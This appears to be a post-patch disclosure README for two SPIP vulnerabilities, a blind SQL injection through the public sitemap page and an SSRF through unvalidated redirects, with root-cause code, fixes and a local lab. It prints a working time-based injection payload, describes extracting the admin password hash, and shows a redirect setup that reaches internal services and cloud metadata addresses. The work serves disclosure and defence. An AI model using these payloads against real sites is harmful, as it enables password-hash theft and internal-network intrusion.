
PoC for CVE-2026-72708 (blind SQLi) and CVE-2026-109378 (SSRF) in SPIP, both fixed in 4.4.18
Reproducible proof of concept material for two vulnerabilities I reported in SPIP, both fixed in 4.4.18.
| CVE | Class | Auth | CVSS 4.0 | Sink |
|---|---|---|---|---|
| CVE-2026-72708 | Blind SQL injection (CWE-89) | none | 8.7 High | ecrire/req/mysql.php:1730 |
| CVE-2026-109378 | SSRF via HTTP redirect (CWE-918) | low | 5.3 Medium | ecrire/inc/distant.php:567-582 |
Both were reported to [email protected] on 2026-08-05. SPIP shipped the fix in
4.4.18 on 2026-08-10. This material is published after the patch, which is the
whole point of publishing it.
Everything here runs against a disposable local lab bound to
127.0.0.1. Do not point it at a host you do not own.
spip_mysql_cite() returns a value unquoted when the destination column is a
date type and the value matches /^\w+\(/:
} elseif (sql_test_date($type) and preg_match('/^\w+\(/', $v)) {
return $v;
}
The regex was meant to let NOW() through as a function call rather than a
string. It checks the shape of a function call, not its name, so SLEEP(5),
IF(...) and UPDATEXML(...) all satisfy it too.
The reachable sink is the {annee?} criterion of squelettes-dist/sitemap.xml.html,
which ships with every install and compares against a datetime column. The
sitemap is public, so no account is needed:
GET /spip.php?page=sitemap.xml&annee=IF(1,SLEEP(5),0)
Run it:
bash CVE-2026-72708-sqli/poc_sqli.sh
The script proves the sink, shows the delay tracking the SLEEP() argument,
then recovers the first twelve characters of the admin password hash through a
pure timing oracle and checks the result against the database.
SLEEP() lives in a WHERE
clause, which MySQL evaluates per row. With zero articles it never fires.
lab/seed.sh inserts one published article.&z=<random>) to every replay. The script already does.SPIP has a genuinely good SSRF guard, valider_url_distante(): scheme
whitelist, private and reserved ranges, link-local, DNS rebinding, credential
URLs. Callers run it before fetching.
recuperer_url() then follows up to ten redirects, and never re-validates the
target it is about to fetch:
$url = suivre_lien($url, $res['location']); // 571, attacker controlled
// ... method adjustment, a log line ...
return recuperer_url($url, $options); // 582, fetched
One 302 from a host that passes validation walks straight into anything the
guard was built to block, 169.254.169.254 included.
Run it:
docker exec -w /var/www/html spiplab-app php /tmp/poc_ssrf.php
The script shows the guard correctly refusing seven hostile URLs, then fetches one of those exact URLs through a redirect and prints the content back.
cd lab
docker compose up -d # SPIP 4.4.16 + MariaDB, bound to 127.0.0.1:8888
sleep 40 # auto install
bash seed.sh # one published article, clears the page cache
The database has no host port. The web container listens on loopback only.
Tear it down with docker compose down -v.
To exercise the SSRF path you also need the stand-in redirector and an internal-only service:
docker cp redir.php spiplab-app:/var/www/html/redir.php
docker exec spiplab-app sh -c 'mkdir -p /tmp/internal && \
echo "INTERNAL-SERVICE-SECRET-7f3a9c2e" > /tmp/internal/secret.txt && \
(setsid nohup php -S 0.0.0.0:9001 -t /tmp/internal >/tmp/internal/srv.log 2>&1 &)'
redir.php only emits a 302 to whatever ?to= says. In a real attack that role
is played by a public host the guard is happy to allow.
requests/ in each directory holds the raw HTTP exchanges captured off the wire
during the runs above, one .req and one .res per step. Paste a .req into
Burp Repeater as is.
For the SQLi, the interesting pair is sqli-03-oracle-true (2.051 s) against
sqli-04-oracle-false (0.049 s): same question, threshold moved by one, and the
answer is the difference in response time. The bodies are identical.
For the SSRF, ssrf-02-internal-hits.log is the access log of the internal
service, showing SPIP arriving on a host it had just refused to resolve.
SQL injection, replace the loose regex with a whitelist:
} elseif (sql_test_date($type) and preg_match(
'/^(NOW|CURDATE|CURTIME|CURRENT_TIMESTAMP|CURRENT_DATE|CURRENT_TIME|UTC_DATE|UTC_TIME|UTC_TIMESTAMP)\s*\(\s*\)$/i',
$v
)) {
Apply the same change to ecrire/req/sqlite_generique.php.
SSRF, validate the redirect target before following it:
$url = suivre_lien($url, $res['location']);
if (!valider_url_distante($url)) {
spip_log("SSRF: blocked redirect to $url", 'distant' . _LOG_ERREUR);
return false;
}
return recuperer_url($url, $options);
Or simply upgrade to 4.4.18, which contains both.
CVE-2026-72708 was independently co-discovered by Franck Chevalier (Wayko) of Lexfo / Ambionics, who found the same sink, the same unauthenticated entry point, and built the full chains to remote code execution through CVE-2026-72709 and CVE-2026-72710. Their writeup is the deeper technical document and their tooling is at ambionics/spip-exploits.
CVE-2026-109378 was reported solo.
MIT. Published for defenders, auditors and anyone who wants to understand why a fifteen character regex ended up being worth 8.7 points.
-- ka3n1x